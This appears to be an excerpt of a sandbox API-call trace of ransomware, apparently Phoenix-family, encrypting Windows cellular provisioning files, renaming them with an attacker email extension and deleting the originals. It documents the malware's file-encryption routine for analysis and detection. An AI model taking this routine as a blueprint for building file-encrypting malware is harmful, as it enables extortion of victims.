	[0247.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\340__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.918] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\340__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.918] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.918] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.918] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\340__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.922] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0247.922] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.922] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1e0, lpOverlapped=0x0) returned 1
	[0247.923] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0) returned 1
	[0247.923] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1f0, lpOverlapped=0x0) returned 1
	[0247.925] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1512c0) returned 1
	[0247.925] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.925] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0247.925] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0247.925] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0247.925] CryptDestroyKey (hKey=0x151500) returned 1
	[0247.925] CloseHandle (hObject=0x2b4) returned 1
	[0247.925] CloseHandle (hObject=0x2e8) returned 1
	[0247.925] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\340__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0247.926] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.926] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\341__connections_cellular_claro (puerto rico)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.928] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=643) returned 1
	[0247.928] CloseHandle (hObject=0x2e8) returned 1
	[0247.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\341__connections_cellular_claro (puerto rico)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\341__connections_cellular_claro (puerto rico)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.928] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\341__connections_cellular_claro (puerto rico)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.928] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.928] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.928] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\341__connections_cellular_claro (puerto rico)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.929] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151680) returned 1
	[0247.929] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.929] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x283, lpOverlapped=0x0) returned 1
	[0247.938] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0247.939] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0247.940] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0247.940] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.940] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0247.940] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0247.940] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0247.940] CryptDestroyKey (hKey=0x151680) returned 1
	[0247.940] CloseHandle (hObject=0x2e8) returned 1
	[0247.940] CloseHandle (hObject=0x2b4) returned 1
	[0247.940] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\341__connections_cellular_claro (puerto rico)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.941] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.941] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\343__connections_cellular_q-tel (qatar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.941] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=639) returned 1
	[0247.941] CloseHandle (hObject=0x2b4) returned 1
	[0247.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\343__connections_cellular_q-tel (qatar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\343__connections_cellular_q-tel (qatar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.941] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\343__connections_cellular_q-tel (qatar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.942] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.942] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.942] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\343__connections_cellular_q-tel (qatar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.942] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151640) returned 1
	[0247.942] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.942] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x27f, lpOverlapped=0x0) returned 1
	[0247.992] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x280, dwBufLen=0x280 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x280) returned 1
	[0247.994] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x280, lpOverlapped=0x0) returned 1
	[0247.995] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151200) returned 1
	[0247.995] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.995] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0247.995] CryptDestroyKey (hKey=0x151200) returned 1
	[0247.995] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0247.995] CryptDestroyKey (hKey=0x151640) returned 1
	[0247.995] CloseHandle (hObject=0x2b4) returned 1
	[0247.995] CloseHandle (hObject=0x2e8) returned 1
	[0247.995] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\343__connections_cellular_q-tel (qatar)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.996] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.996] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\349__connections_cellular_sfr (réunion) (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.997] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=707) returned 1
	[0247.997] CloseHandle (hObject=0x2e8) returned 1
	[0247.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\349__connections_cellular_sfr (réunion) (france)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0247.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\349__connections_cellular_sfr (réunion) (france)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.997] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\349__connections_cellular_sfr (réunion) (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.997] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.997] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.998] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\349__connections_cellular_sfr (réunion) (france)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.999] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0247.999] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.002] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c3, lpOverlapped=0x0) returned 1
	[0248.003] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0248.004] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0248.005] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151180) returned 1
	[0248.005] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.005] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0248.005] CryptDestroyKey (hKey=0x151180) returned 1
	[0248.005] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0248.005] CryptDestroyKey (hKey=0x151500) returned 1
	[0248.005] CloseHandle (hObject=0x2e8) returned 1
	[0248.005] CloseHandle (hObject=0x2b4) returned 1
	[0248.005] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\349__connections_cellular_sfr (réunion) (france)_i1$(__mvid)@wap.provxml")) returned 1
	[0248.006] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.006] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\34__connections_cellular_batelco (bahrain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.006] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=716) returned 1
	[0248.006] CloseHandle (hObject=0x2b4) returned 1
	[0248.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\34__connections_cellular_batelco (bahrain)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\34__connections_cellular_batelco (bahrain)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.007] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\34__connections_cellular_batelco (bahrain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.007] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.007] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.007] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\34__connections_cellular_batelco (bahrain)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.007] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1516c0) returned 1
